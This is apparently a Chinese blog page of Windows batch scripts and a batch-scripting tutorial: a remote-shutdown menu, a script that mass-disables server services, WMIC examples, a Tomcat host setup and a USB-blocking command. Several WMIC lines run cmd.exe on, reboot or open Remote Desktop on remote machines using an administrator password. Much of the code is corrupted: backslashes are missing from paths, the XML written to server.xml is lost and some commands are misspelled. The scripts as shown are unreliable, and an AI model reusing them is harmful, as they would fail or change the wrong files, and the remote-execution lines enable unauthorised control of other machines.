    for %%a in (2 4 6 8 9 11) do (if "%MO%"=="%%a" (set/a LD=31+%DA%-%DG%))
    for %%b in (5 7 8 10 12) do (if "%MO%"=="%%b" (set/a LD=30+%DA%-%DG%))))
    if %LM% LSS 10 set LM=0%LM:~-1%
    if %LD% LSS 10 set LD=0%LD:~-1%
    echo %LY%%LM%%LD%
    pause

帮别人写的一个关机的批处理

hy58 — Sat, 06 Jun 2015 10:08:56 +0800

@title 远程关机控制器
    @echo.
    @echo.
    @echo.
    @echo.
    @echo              1 代表关闭所有计算机
    @echo.
    @echo.
    @echo              2 代表关闭指定计算机
    @echo.
    @echo.
    @echo              3 定时关闭所有计算机
    @echo.
    @echo.
    @echo.
    @echo.
    @set/p var2=请选择要使用的功能[1/2/3]:
    @if %var2%==1 goto a
    @if %var2%==2 goto b
    @if %var2%==3 goto c
    exit
    ::关闭所有计算机
    :a
    @for %%i in (tsg01 tsg02 tsg03 tsg04 tsg05 tsg06 tsg07 tsg08 tsg09 tsg10) do @shutdown -s -f -m \%%i -t 10
    exit
    ::关闭指定计算机
    :b
    @echo.
    @echo.
    @set/p var= 请输入需要关闭的计算机名:
    @shutdown -s -f -m \%var% -t 10
    exit
    ::定时关闭所有计算机
    :c
    @sc config schedule start= auto 1>nul 2>nul
    @net start schedule 1>nul 2>nul
    @echo.
    @echo.
    @set/p var1= 请输入关机时间: 例[09:30:00]:
    @if not exist C:temp mkdir C:temp
    @if exist C:temptask.bat del /Q C:temptask.bat
    @echo for %%%%a in (tsg01 tsg02 tsg03 tsg04 tsg05 tsg06 tsg07 tsg08 tsg09 tsg10) do @shutdown -s -f -m \%%%%a -t 10>>C:temptask.bat
    @schtasks /delete /F /TN "haltpc" 1>nul 2>nul
    @schtasks /create /ru system /sc once /tn "haltpc" /st %var1% /tr "C:temptask.bat"
    exit

服务器服务管理之批处理

hy58 — Sat, 06 Jun 2015 10:07:45 +0800

@ sc config helpsvc start= disabled
    @ sc config Messenger start= disabled
    @ sc config Spooler start= disabled
    @ sc config remoteRegistry start= disabled
    @ sc config ShellHWDetection start= disabled
    @ sc config WmdmpmSN start= disabled
    @ sc config SysmonLog start= disabled
    @ sc config lanmanworkstation start= disabled
    @ sc config WZCSVC start= disabled
    @ sc config W32Time start= disabled
    @ sc config stisvc start= disabled
    @ sc config SharedAccess start= disabled
    @ sc config AudioSrv start= disabled
    @ sc config WebClient start= disabled
    @ sc config msvsmon80 start= disabled
    @ sc config Themes start= disabled
    @ sc config Tssdis start= disabled
    @ sc config TlntSvr start= disabled
    @ sc config LmHosts start= disabled
    @ sc config Schedule start= disabled
    @ sc config remoteAccess start= disabled
    @ sc config Nla start= disabled
    @ sc config NetDDEdsdm start= disabled
    @ sc config NetDDE start= disabled
    @ sc config mnmsrvc start= disabled
    @ sc config LicenseService start= disabled
    @ sc config kdc start= disabled
    @ sc config IsmServ start= disabled
    @ sc config ImapiService start= disabled
    @ sc config HidServ start= disabled
    @ sc config TrkSrv start= disabled
    @ sc config ClipSrv start= disabled
    @ sc config alg start= disabled
    @ sc config Alerter start= disabled
    @ sc config AppMgmt start= disabled
    @ sc config Browser start= disabled
    @ sc config Dfs start= disabled
    @ sc config swprv start= disabled
    @ sc config NetLogon start= disabled
    @ sc config xmlprov start= disabled
    @ sc config ose start= disabled
    @ sc config NtmsSvc start= disabled
    @ sc config SCardSvr start= disabled
    @ sc config UPS start= disabled
    @ sc config vds start= disabled
    @ sc config VSS start= disabled
    @ sc config SNMP start= disabled
    @ sc config SENS start= disabled
    @ sc config TrkWks start= disabled
    @ sc config DHCP start= disabled
    @ sc config WinHttpAutoProxySvc start= disabled
    @ sc config Rasman start= disabled
    @ sc config Tapisrv start= disabled
    pause
    @ sc config winmgmt start= demand
    @ sc config wmi start= demand
    @ sc config sacsvr start= demand
    @ sc config dmadmin start= demand
    @ sc config NtLmSsp start= demand
    @ sc config RasAuto start= demand
    @ sc config RDSessMgr start= demand
    @ sc config RpcLocator start= demand
    @ sc config RSoPProv start= demand
    @ sc config SNMPTRAP start= demand
    @ sc config NtFrs start= demand
    @ sc config HTTPFilter start= demand
    @ sc config COMSysAPp start= demand
    @ sc config aspnet_state start= demand
    @ sc config Clr_optimization_v2.0.50727_32 start= demand
    @ sc config UMWdf start= demand
    @ sc config WmiApSrv start= demand
    @ sc config MSIServer start= demand
    @ sc config smserver start= demand
    @ sc config TermService start= demand
    @ sc config Netman start= demand

    @ sc config SamSs start= auto
    @ sc config seclogon start= auto
    @ sc config Protected Storage start= auto
    @ sc config PlugPlay start= auto
    @ sc config DcomLaunch start= auto
    @ sc config CiSvc start= auto
    @ sc config PolicyAgent start= auto
    @ sc config ERSvc start= auto
    @ sc config DNScache start= auto
    @ sc config MSDTC start= auto
    @ sc config CryptSvc start= auto
    @ sc config EventSystem start= auto
    @ sc config BITS start= auto
    @ sc config wuauserv start= auto
    @ sc config AelookupSvc start= auto

批处理获取当前时间

hy58 — Sat, 06 Jun 2015 10:07:07 +0800

@set var1=%date:~0,10%
    @set var2=%var1:-=%
    @set var3=%time::=%
    @set var4=%var3:.=%
    @set var5=%var2%%var4%
    @echo %var5%

WMIC 实例教程

hy58 — Sat, 06 Jun 2015 10:06:21 +0800

wmic 获取进程名称以及可执行路径:
    wmic process get name,executablepath
    wmic 删除指定进程(根据进程名称):
    wmic process where name="qq.exe" call terminate
    或者用
    wmic process where name="qq.exe" delete
    wmic 删除指定进程(根据进程PID):
    wmic process where pid="123" delete
    wmic 创建新进程
    wmic process call create "C:Program FilesTencentQQQQ.exe"
    在远程机器上创建新进程：
    wmic /node:192.168.1.10 /user:administrator /password:123456 process call create cmd.exe
    关闭本地计算机
    wmic process call create shutdown.exe
    重启远程计算机
    wmic /node:192.168.1.10/user:administrator /password:123456 process call create "shutdown.exe -r -f -m"
    更改计算机名称
    wmic computersystem where "caption='%ComputerName%'" call rename newcomputername
    更改帐户名
    wmic USERACCOUNT where "name='%UserName%'" call rename newUserName
    wmic 结束可疑进程（根据进程的启动路径）
    wmic process where "name='explorer.exe' and executablepath<>'%SystemDrive%\windows\explorer.exe'" delete
    wmic 获取物理内存
    wmic memlogical get TotalPhysicalMemory|find /i /v "t"
    wmic 获取文件的创建、访问、修改时间
    @echo off
    for /f "skip=1 tokens=1,3,5 delims=. " %%a in ('wmic datafile where name^="c:\windows\system32\notepad.exe" get CreationDate^,LastAccessed^,LastModified') do (
    set a=%%a
    set b=%%b
    set c=%%c
    echo 文件: c:windowssystem32notepad.exe
    echo.
    echo 创建时间: %a:~0,4% 年 %a:~4,2% 月 %a:~6,2% 日 %a:~8,2% 时 %a:~10,2% 分 %a:~12,2% 秒
    echo 最后访问: %b:~0,4% 年 %b:~4,2% 月 %b:~6,2% 日 %b:~8,2% 时 %b:~10,2% 分 %b:~12,2% 秒
    echo 最后修改: %c:~0,4% 年 %c:~4,2% 月 %c:~6,2% 日 %c:~8,2% 时 %c:~10,2% 分 %c:~12,2% 秒
    )
    echo.
    pause
    wmic 全盘搜索某文件并获取该文件所在目录
    for /f "skip=1 tokens=1*" %i in ('wmic datafile where "FileName='qq' and extension='exe'" get drive^,path') do (set "qPath=%i%j"&@echo %qPath:~0,-3%)
    获取屏幕分辨率 wmic DESKTOPMONITOR where Status='ok' get ScreenHeight,ScreenWidth
    wmic PageFileSet set InitialSize="512",MaximumSize="512"
    设置虚拟内存到E盘，并删除C盘下的页面文件,重启计算机后生效
    wmic PageFileSet create name="E:\pagefile.sys",InitialSize="1024",MaximumSize="1024"
    wmic PageFileSet where "name='C:\pagefile.sys'" delete
    获得进程当前占用的内存和最大占用内存的大小：
    wmic process where caption='filename.exe' get WorkingSetSize,PeakWorkingSetSize
    以KB为单位显示
    @echo off
    for /f "skip=1 tokens=1-2 delims= " %%a in ('wmic process where caption^="conime.exe" get WorkingSetSize^,PeakWorkingSetSize') do (
    set /a m=%%a/1024
    set /a mm=%%b/1024
    echo 进程conime.exe现在占用内存：%m%K；最高占用内存：%mm%K
    )
    pause
    远程打开计算机远程桌面
    wmic /node:%pcname% /USER:%pcaccount% PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1

偶自己用的添加JSP主机批处理

hy58 — Sat, 06 Jun 2015 10:03:25 +0800

@echo off
    echo.
    set/p var=   请输入jsp主机ftp用户名 :
    echo.
    set/p abc=   请输入jsp主机的域名 :www.
    echo.
    echo     你输入的用户名是:%var%
    echo.
    echo     你需要绑定的域名是:www.%abc%
    echo.
    pause
    cd C:Tomcat6conf
    copy catalina.policy catalina.policy.bak
    @echo. >>catalina.policy
    @echo grant codeBase "file:D:/webroot/%var%/-" { >>catalina.policy
    rem @echo   permission java.security.AllPermission;
    @echo   permission java.io.FilePermission "d:\webroot\%var%\", "read"; >>catalina.policy
    @echo   permission java.io.FilePermission "d:\webroot\%var%\-", "read, write, delete"; >>catalina.policy
    @echo }; >>catalina.policy
    copy server.xml server.xml.bak
    @find /v "" 1.txt
    @find /v "" <1.txt >server.xml
    @find /v "" 1.txt
    del server.xml
    ren 1.txt server.xml
    @echo ^ >>server.xml
    @echo     ^%var%.hzsd08.beitesoft.com^ >>server.xml
    @echo     ^%abc%^ >>server.xml
    @echo   ^ >>server.xml
    @echo ^ >>server.xml
    @echo. >>server.xml
    @echo     ^ >>server.xml
    @echo   ^ >>server.xml
    @echo ^ >>server.xml
    @sc stop tomcat6
    @sc start tomcat6
    @echo on
    @echo 还需要在IIS里面操作:
    @echo.
    @echo 添加jsp映射到C:Tomcat6confisapi_redirect.dll
    @echo 添加名为jakarta的ISAPI筛选器至C:Tomcat6confisapi_redirect.dll
    @echo 添加名称为jakarta路径为C:Tomcat6conf的虚拟目录
    @pause>nul

用批处理禁用USBU盘和移动硬盘

hy58 — Sat, 06 Jun 2015 10:02:52 +0800

cacls %windir%system32driversusbstor.sys /e /c /d everyone
cacls %windir%system32driversdisk.sys /e /c /d everyone

批处理学习完全教程

hy58 — Sat, 06 Jun 2015 09:57:40 +0800

批处理文件，在MS-dos中，.bat文件是可执行文件，有一系列命令构成，其中可以包含对其他程序的调用。
    　　首先，批处理文件是一个文本文件，这个文件的每一行都是一条DOS命令（大部分时候就好像我们在DOS提示符下执行的命令行一样），你可以使用dos下的Edit或者Windows的记事本(notepad)等任何文本文件编辑工具创建和修改批处理文件。
    　　其次，批处理文件是一种简单的程序，可以通过条件语句(if)和流程控制语句(goto)来控制命令运行的流程，在批处理中也可以使用循环语句(for)来循环执行一条命令。当然，批处理文件的编程能力与C语言等编程语句比起来是十分有限的，也是十分不规范的。批处理的程序语句就是一条条的dos命令（包括内部命令和外部命令），而批处理的能力主要取决于你所使用的命令。
    　　第三，每个编写好的批处理文件都相当于一个DOS的外部命令，你可以把它所在的目录放到你的 dos搜索路径(path)中来使得它可以在任意位置运行。一个良好的习惯是在硬盘上建立一个bat或者batch目录（例如C:BATCH），然后将所有你编写的批处理文件放到该目录中，这样只要在path中设置上c:batch，你就可以在任意位置运行所有你编写的批处理程序。
    　　第四，在dos和Win9x/Me系统下，C:盘根目录下的AUTOEXEC.BAT批处理文件是自动运行批处理文件，每次系统启动时会自动运行该文件，你可以将系统每次启动时都要运行的命令放入该文件中，例如设置搜索路径，调入鼠标驱动和磁盘缓存，设置系统环境变量等。下面是一个运行于Windows 98下的autoexec.bat的示例：
    　　@ECHO OFF
    　　PATH C:WINDOWS;C:WINDOWSCOMMAND;C:UCDOS;C:dosTools;C:SYSTOOLS;C:WINTOOLS;C:BATCH
    　　LH SMARTDRV.EXE /X
    　　LH dosKEY.COM /INSERT
    　　LH CTMOUSE.EXE
    　　SET TEMP=D:TEMP
    　　SET TMP=D:TEMP
    　　批处理的作用
    　　简单的说，批处理的作用就是自动的连续执行多条命令。
    　　这里先讲一个最简单的应用：在启动wps软件时，每次都必须执行（>前面内容表示dos提示符）：
    　　C:>cd wps
    　　C:WPS>spdos
    　　C:WPS>py
    　　C:WPS>wbx
    　　C:WPS>wps
    　　如果每次用WPS之前都这样执行一遍，您是不是觉得很麻烦呢？
    　　好了，用批处理，就可以实现将这些麻烦的操作简单化，首先我们编写一个runwps.bat批处理文件，内容如下：
    　　@echo off
    　　c:
    　　cdwps
    　　spdos
    　　py
    　　wbx
    　　wps
    　　cd
    　　以后，我们每次进入wps，只需要运行runwps这个批处理文件即可。
    　　常用命令
    　　echo、@、call、pause、rem(小技巧：用::代替rem)是批处理文件最常用的几个命令，我们就从他们开始学起。
    　　echo 表示显示此命令后的字符
    　　echo off 表示在此语句后所有运行的命令都不显示命令行本身
    　　@与echo off相象，但它是加在每个命令行的最前面，表示运行时不显示这一行的命令行（只能影响当前行）。
    　　call 调用另一个批处理文件（如果不用call而直接调用别的批处理文件，那么执行完那个批处理文件后将无法返回当前文件并执行当前文件的后续命令）。
    　　pause 运行此句会暂停批处理的执行并在屏幕上显示“Press any key to continue...”或“请按任意键继续。。。”的提示，等待用户按任意键后继续。
    　　rem 表示此命令后的字符为解释行（注释），不执行，只是给自己今后参考用的（相当于程序中的注释）。
    　　例1：用edit编辑a.bat文件，输入下列内容后存盘为c:a.bat，执行该批处理文件后可实现：将根目录中所有文件写入 a.txt中，启动UCdos，进入WPS等功能。
    　　批处理文件的内容为: 命令注释：
    　　@echo off　不显示后续命令行及当前命令行
    　　dir c:*.* >a.txt　将c盘文件列表写入a.txt
    　　call c:ucdosucdos.bat　调用ucdos
    　　echo 你好显示"你好"
    　　pause 暂停,等待按键继续
    　　rem 准备运行wps 注释：准备运行wps
    　　cd ucdos　进入ucdos目录
    　　wps 运行wps
    　　批处理文件的参数
    　　批处理文件还可以像C语言的函数一样使用参数（相当于dos命令的命令行参数），这需要用到一个参数表示符“%”。
    　　%[1-9]表示参数，参数是指在运行批处理文件时在文件名后加的以空格（或者Tab）分隔的字符串。变量可以从%0到%9，%0表示批处理命令本身，其它参数字符串用%1到%9顺序表示。
    　　例2：C:根目录下有一批处理文件名为f.bat，内容为：
    　　@echo off
    　　format %1
    　　如果执行C:>f a:
    　　那么在执行f.bat时，%1就表示a:，这样format %1就相当于format a:，于是上面的命令运行时实际执行的是format a:
    　　例3：C:根目录下一批处理文件名为t.bat，内容为:
    　　@echo off
    　　type %1
    　　type %2
    　　那么运行C:>t a.txt b.txt
    　　%1 : 表示a.txt
    　　%2 : 表示b.txt
    　　于是上面的命令将顺序地显示a.txt和b.txt文件的内容。
    　　特殊命令
    　　if goto choice for是批处理文件中比较高级的命令，如果这几个你用得很熟练，你就是批处理文件的专家啦。
    　　一、if 是条件语句，用来判断是否符合规定的条件，从而决定执行不同的命令。有三种格式:
    　　1、if [not] "参数" == "字符串" 待执行的命令
    　　参数如果等于(not表示不等，下同)指定的字符串，则条件成立，运行命令，否则运行下一句。
    　　例：if "%1"=="a" format a:
    　　2、if [not] exist [路径]文件名待执行的命令
    　　如果有指定的文件，则条件成立，运行命令，否则运行下一句。
    　　如: if exist c:config.sys type c:config.sys
    　　表示如果存在c:config.sys文件，则显示它的内容。
    　　3、if errorlevel <数字> 待执行的命令
    　　很多dos程序在运行结束后会返回一个数字值用来表示程序运行的结果(或者状态)，通过if errorlevel命令可以判断程序的返回值，根据不同的返回值来决定执行不同的命令(返回值必须按照从大到小的顺序排列)。如果返回值等于指定的数字，则条件成立，运行命令，否则运行下一句。
    　　如if errorlevel 2 goto x2
    　　二、goto 批处理文件运行到这里将跳到goto所指定的标号(标号即label，标号用:后跟标准字符串来定义)处，goto语句一般与if配合使用，根据不同的条件来执行不同的命令组。
    　　如:
    　　goto end
    　　:end
    　　echo this is the end
    　　标号用“:字符串”来定义，标号所在行不被执行。
    　　三、choice 使用此命令可以让用户输入一个字符（用于选择），从而根据用户的选择返回不同的errorlevel，然后于if errorlevel配合，根据用户的选择运行不同的命令。
    　　注意：choice命令为dos或者Windows系统提供的外部命令，不同版本的choice命令语法会稍有不同，请用choice /?查看用法。
    　　choice的命令语法（该语法为Windows 2003中choice命令的语法，其它版本的choice的命令语法与此大同小异）：
    　　CHOICE [/C choices] [/N] [/CS] [/T timeout /D choice] [/M text]
    　　描述:
    　　该工具允许用户从选择列表选择一个项目并返回所选项目的索引。
    　　参数列表:
    　　/C　choices　指定要创建的选项列表。默认列表是 "YN"。
    　　/N　在提示符中隐藏选项列表。提示前面的消息得到显示项依旧处于启用状态。
    　　/CS　允许选择分大小写的选项。在默认情况下，这个工具是不分大小写的。
    　　/T　timeout　做出默认选择之前，暂停的秒数。可接受的值是从 0 到 9999。如果指定了 0，就不会有暂停，默认选项
    　　会得到选择。
    　　/D　choice　在 nnnn 秒之后指定默认选项。字符必须在用 /C 选项指定的一组选择中; 同时，必须用 /T 指定 nnnn。
    　　/M　text　指定提示之前要显示的消息。如果没有指定，工具只显示提示。
    　　/?　显示帮助消息。
    　　注意:
    　　ERRORLEVEL 环境变量被设置为从选择集选择的键索引。列出的第一个选择返回 1，第二个选择返回 2，等等。如果用户按的键不是有效的选择，该工具会发出警告响声。如果该工具检测到错误状态，它会返回 255 的ERRORLEVEL 值。如果用户按 Ctrl+Break 或 Ctrl+C 键，该工具会返回 0 的 ERRORLEVEL 值。在一个批程序中使用 ERRORLEVEL 参数时，将参数降序排列。
    　　示例:
    　　CHOICE /?
    　　CHOICE /C YNC /M "确认请按 Y，否请按 N，或者取消请按 C。"
    　　CHOICE /T 10 /C ync /CS /D y
    　　CHOICE /C ab /M "选项 1 请选择 a，选项 2 请选择 b。"
    　　CHOICE /C ab /N /M "选项 1 请选择 a，选项 2 请选择 b。"
    　　如果我运行命令：CHOICE /C YNC /M "确认请按 Y，否请按 N，或者取消请按 C。"
    　　屏幕上会显示：
    　　确认请按 Y，否请按 N，或者取消请按 C。 [Y,N,C]?
    　　例：test.bat的内容如下（注意，用if errorlevel判断返回值时，要按返回值从高到低排列）:
    　　@echo off
    　　choice /C dme /M "defrag,mem,end"
    　　if errorlevel 3 goto end
    　　if errorlevel 2 goto mem
    　　if errotlevel 1 goto defrag
    　　:defrag
    　　c:dosdefrag
    　　goto end
    　　:mem
    　　mem
    　　goto end
    　　:end
    　　echo good bye
    　　此批处理运行后，将显示“defrag,mem,end[D,M,E]?” ，用户可选择d m e ，然后if语句根据用户的选择作出判断，d表示执行标号为defrag的程序段，m表示执行标号为mem的程序段，e表示执行标号为end的程序段，每个程序段最后都以goto end将程序跳到end标号处，然后程序将显示good bye，批处理运行结束。
    　　四、for 循环命令，只要条件符合，它将多次执行同一命令。
    　　语法：
    　　对一组文件中的每一个文件执行某个特定命令。
    　　FOR %%variable IN (set) DO command [command-parameters]
    　　%%variable　指定一个单一字母可替换的参数。
    　　(set)　指定一个或一组文件。可以使用通配符。
    　　command　指定对每个文件执行的命令。
    　　command-parameters 为特定命令指定参数或命令行开关。
    　　例如一个批处理文件中有一行:
    　　for %%c in (*.bat *.txt) do type %%c
    　　则该命令行会显示当前目录下所有以bat和txt为扩展名的文件的内容。
    　　批处理示例
    　　1. IF-EXIST
    　　1)
    　　首先用记事本在C:建立一个test1.bat批处理文件，文件内容如下：
    　　@echo off
    　　IF EXIST AUTOEXEC.BAT TYPE AUTOEXEC.BAT
    　　IF NOT EXIST AUTOEXEC.BAT ECHO AUTOEXEC.BAT does not exist
    　　然后运行它：
    　　C:>TEST1.BAT
    　　如果C:存在AUTOEXEC.BAT文件，那么它的内容就会被显示出来，如果不存在，批处理就会提示你该文件不存在。
    　　2)
    　　接着再建立一个test2.bat文件，内容如下：
    　　@ECHO OFF
    　　IF EXIST %1 TYPE %1
    　　IF NOT EXIST %1 ECHO %1 does not exist
    　　执行:
    　　C:>TEST2 AUTOEXEC.BAT BR>　　该命令运行结果同上。
    　　说明：
    　　(1) IF EXIST 是用来测试文件是否存在的，格式为
    　　IF EXIST [路径+文件名] 命令
    　　(2) test2.bat文件中的%1是参数，dos允许传递9个批参数信息给批处理文件，分别为%1~%9(%0表示test2命令本身) ，这有点象编程中的实参和形参的关系，%1是形参，AUTOEXEC.BAT是实参。
    　　3) 更进一步的，建立一个名为TEST3.BAT的文件，内容如下：
    　　@echo off
    　　IF "%1" == "A" ECHO XIAO
    　　IF "%2" == "B" ECHO TIAN
    　　IF "%3" == "C" ECHO XIN
    　　如果运行：
    　　C:>TEST3 A B C
    　　屏幕上会显示:
    　　XIAO
    　　TIAN
    　　XIN
    　　如果运行：
    　　C:>TEST3 A B
    　　屏幕上会显示
    　　XIAO
    　　TIAN
    　　在这个命令执行过程中，dos会将一个空字符串指定给参数%3。
    　　2、IF-ERRORLEVEL
    　　建立TEST4.BAT，内容如下：
    　　@ECHO OFF
    　　XCOPY C:AUTOEXEC.BAT D:IF ERRORLEVEL 1 ECHO 文件拷贝失败
    　　IF ERRORLEVEL 0 ECHO 成功拷贝文件
    　　然后执行文件:
    　　C:>TEST4
    　　如果文件拷贝成功，屏幕就会显示“成功拷贝文件”，否则就会显示“文件拷贝失败”。
    　　IF ERRORLEVEL 是用来测试它的上一个dos命令的返回值的，注意只是上一个命令的返回值，而且返回值必须依照从大到小次序顺序判断。因此下面的批处理文件是错误的：
    　　@ECHO OFF
    　　XCOPY C:AUTOEXEC.BAT D:
    　　IF ERRORLEVEL 0 ECHO 成功拷贝文件
    　　IF ERRORLEVEL 1 ECHO 未找到拷贝文件
    　　IF ERRORLEVEL 2 ECHO 用户通过ctrl-c中止拷贝操作
    　　IF ERRORLEVEL 3 ECHO 预置错误阻止文件拷贝操作
    　　IF ERRORLEVEL 4 ECHO 拷贝过程中写盘错误
    　　无论拷贝是否成功，后面的：
    　　未找到拷贝文件
    　　用户通过ctrl-c中止拷贝操作
    　　预置错误阻止文件拷贝操作
    　　拷贝过程中写盘错误
    　　都将显示出来。
    　　以下就是几个常用命令的返回值及其代表的意义：
    　　backup
    　　0 备份成功
    　　1 未找到备份文件
    　　2 文件共享冲突阻止备份完成
    　　3 用户用ctrl-c中止备份
    　　4 由于致命的错误使备份操作中止
    　　diskcomp
    　　0 盘比较相同
    　　1 盘比较不同
    　　2 用户通过ctrl-c中止比较操作
    　　3 由于致命的错误使比较操作中止
    　　4 预置错误中止比较
    　　diskcopy
    　　0 盘拷贝操作成功
    　　1 非致命盘读/写错
    　　2 用户通过ctrl-c结束拷贝操作
    　　3 因致命的处理错误使盘拷贝中止
    　　4 预置错误阻止拷贝操作
    　　format
    　　0 格式化成功
    　　3 用户通过ctrl-c中止格式化处理
    　　4 因致命的处理错误使格式化中止
    　　5 在提示“proceed with format（y/n）?”下用户键入n结束
    　　xcopy
    　　0 成功拷贝文件
    　　1 未找到拷贝文件
    　　2 用户通过ctrl-c中止拷贝操作
    　　4 预置错误阻止文件拷贝操作
    　　5 拷贝过程中写盘错误
    　　3、IF STRING1 == STRING2
    　　建立TEST5.BAT，文件内容如下：
    　　@echo off
    　　IF "%1" == "A" formAT A:
    　　执行：
    　　C:>TEST5 A
    　　屏幕上就出现是否将A:盘格式化的内容。
    　　注意：为了防止参数为空的情况，一般会将字符串用双引号（或者其它符号，注意不能使用保留符号）括起来。
    　　如：if [%1]==[A] 或者 if %1*==A*
    　　5、GOTO
    　　建立TEST6.BAT，文件内容如下：
    　　@ECHO OFF
    　　IF EXIST C:AUTOEXEC.BAT GOTO _COPY
    　　GOTO _DONE_COPY
    　　COPY C:AUTOEXEC.BAT D:
    　　:_DONE
    　　注意：
    　　(1) 标号前是ASCII字符的冒号":"，冒号与标号之间不能有空格。
    　　(2) 标号的命名规则与文件名的命名规则相同。
    　　(3) dos支持最长八位字符的标号，当无法区别两个标号时，将跳转至最近的一个标号。
    　　6、FOR
    　　建立C:TEST7.BAT，文件内容如下：
    　　@ECHO OFF
    　　FOR %%C IN (*.BAT *.TXT *.SYS) DO TYPE %%C
    　　运行：
    　　C:>TEST7
    　　执行以后，屏幕上会将C:盘根目录下所有以BAT、TXT、SYS为扩展名的文件内容显示出来（不包括隐藏文件）。
    　　win2000命令行方式批处理BAT文件技巧
    　　文章结构
    　　1. 所有内置命令的帮助信息
    　　2. 环境变量的概念
    　　3. 内置的特殊符号(实际使用中间注意避开)
    　　4. 简单批处理文件概念
    　　5. 附件1 tmp.txt
    　　6. 附件2 sample.bat
    　　###########################
    　　1. 所有内置命令的帮助信息
    　　###########################
    　　ver
    　　cmd /?
    　　set /?
    　　rem /?
    　　if /?
    　　echo /?
    　　goto /?
    　　for /?
    　　shift /?
    　　call /?
    　　其他需要的常用命令
    　　type /?
    　　find /?
    　　findstr /?
    　　copy /?
    　　下面将所有上面的帮助输出到一个文件
    　　echo ver >tmp.txt
    　　ver >>tmp.txt
    　　echo cmd /? >>tmp.txt
    　　cmd /? >>tmp.txt
    　　echo rem /? >>tmp.txt
    　　rem /? >>tmp.txt
    　　echo if /? >>tmp.txt
    　　if /? >>tmp.txt
    　　echo goto /? >>tmp.txt
    　　goto /? >>tmp.txt
    　　echo for /? >>tmp.txt
    　　for /? >>tmp.txt
    　　echo shift /? >>tmp.txt
    　　shift /? >>tmp.txt
    　　echo call /? >>tmp.txt
    　　call /? >>tmp.txt
    　　echo type /? >>tmp.txt
    　　type /? >>tmp.txt
    　　echo find /? >>tmp.txt
    　　find /? >>tmp.txt
    　　echo findstr /? >>tmp.txt
    　　findstr /? >>tmp.txt
    　　echo copy /? >>tmp.txt
    　　copy /? >>tmp.txt
    　　type tmp.txt
    　　#############################
    　　2. 环境变量的概念
    　　#############################
    　　C:Program Files>set
    　　ALLUSERSPROFILE=C:Documents and SettingsAll Users
    　　CommonProgramFiles=C:Program FilesCommon Files
    　　COMPUTERNAME=FIRST
    　　ComSpec=C:WINNTsystem32cmd.exe
    　　NUMBER_OF_PROCESSORS=1
    　　OS=Windows_NT
    　　Os2LibPath=C:WINNTsystem32os2dll;
    　　Path=C:WINNTsystem32;C:WINNT;C:WINNTsystem32WBEM
    　　PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
    　　PROCESSOR_ARCHITECTURE=x86
    　　PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 5, GenuineIntel
    　　PROCESSOR_LEVEL=6
    　　PROCESSOR_REVISION=0605
    　　ProgramFiles=C:Program Files
    　　PROMPT=$P$G
    　　SystemDrive=C:
    　　SystemRoot=C:WINNT
    　　TEMP=C:WINNTTEMP
    　　TMP=C:WINNTTEMP
    　　USERPROFILE=C:Documents and SettingsDefault User
    　　windir=C:WINNT
    　　path: 表示可执行程序的搜索路径. 我的建议是你把你的程序copy 到
    　　%windir%system32. 这个目录里面.
    般就可以自动搜索到.
    　　语法: copy mychenxu.exe %windir%system32.
    　　使用点(.) 便于一目了然
    　　对环境变量的使用(英文模式,半角)双引号
    　　%windir% 变量
    　　%%windir%% 二次变量.
    　　我们常用的还有
    　　%temp% 临时文件目录
    　　%windir% 系统目录
    　　%errorlevel% 退出代码
    　　输出文件到临时文件目录里面.这样便于当前目录整洁.
    　　对有空格的参数. 你应该学会使用双引号("") 来表示比如对porgram file文件夹操作
    　　C:>dir p*
    　　C: 的目录
    　　2000-09-02 11:47 2,164 Pdos.DEF
    　　1999-01-03 00:47 Program Files
    　　1 个文件 2,164 字节
    　　1 个目录 1,505,997,824 可用字节
    　　C:>cd pro*
    　　C:Program Files>
    　　C:>
    　　C:>cd "Program Files"
    　　C:Program Files>
    　　############################################
    　　3. 内置的特殊符号(实际使用中间注意避开)
    　　############################################
    　　微软里面内置了下列字符不能够在创建的文件名中间使用
    　　con nul aux / | || && ^ > < *
    　　You can use most characters as variable values, including white space. If you use the special characters <, >, |, &, or ^, you must precede them with the escape character (^) or quotation marks. If you use quotation marks, they are included as part of the value because everything following the equal sign is taken as the value. Consider the following examples:
    　　(大意: 要么你使用^作为前导字符表示.或者就只有使用双引号""了)
    　　To create the variable value new&name, type:
    　　set varname=new^&name
    　　To create the variable value "new&name", type:
    　　set varname="new&name"
    　　The ampersand (&), pipe (|), and parentheses ( ) are special characters that must be preceded by the escape character (^) or quotation marks when you pass them as arguments.
    　　find "Pacific Rim" < trade.txt > nwtrade.txt
    　　IF EXIST filename. (del filename.) ELSE echo filename. missing
    　　> 创建一个文件
    　　>> 追加到一个文件后面
    　　@ 前缀字符.表示执行时本行在cmd里面不显示, 可以使用 echo off关闭显示
    　　^ 对特殊符号( > < &)的前导字符. 第一个只是显示aaa 第二个输出文件bbb
    　　echo 123456 ^> aaa
    　　echo 1231231 > bbb
    　　() 包含命令
    　　(echo aa & echo bb)
    　　, 和空格一样的缺省分隔符号.
    　　; 注释,表示后面为注释
    　　: 标号作用
    　　| 管道操作
    　　& Usage：第一条命令 & 第二条命令 [& 第三条命令...]
    　　用这种方法可以同时执行多条命令，而不管命令是否执行成功
    　　dir c:*.exe & dir d:*.exe & dir e:*.exe
    　　&& Usage：第一条命令 && 第二条命令 [&& 第三条命令...]
    　　当碰到执行出错的命令后将不执行后面的命令，如果一直没有出错则一直执行完所有命令；
    　　|| Usage：第一条命令 || 第二条命令 [|| 第三条命令...]
    　　当碰到执行正确的命令后将不执行后面的命令，如果没有出现正确的命令则一直执行完所有命令；
    　　常用语法格式
    　　IF [NOT] ERRORLEVEL number command para1 para2
    　　IF [NNOT] string1==string2 command para1 para2
    　　IF [NOT] EXIST filename command para1 para2
    　　IF EXIST filename command para1 para2
    　　IF NOT EXIST filename command para1 para2
    　　IF "%1"=="" goto END
    　　IF "%1"=="net" goto NET
    　　IF NOT "%2"=="net" goto OTHER
    　　IF ERRORLEVEL 1 command para1 para2
    　　IF NOT ERRORLEVEL 1 command para1 para2
    　　FOR /L %%i IN (start,step,end) DO command [command-parameters] %%i
    　　FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do echo %i %j %k
    　　按照字母顺序 ijklmnopq依次取参数.
    　　eol=c - 指一个行注释字符的结尾(就一个)
    　　skip=n - 指在文件开始时忽略的行数。
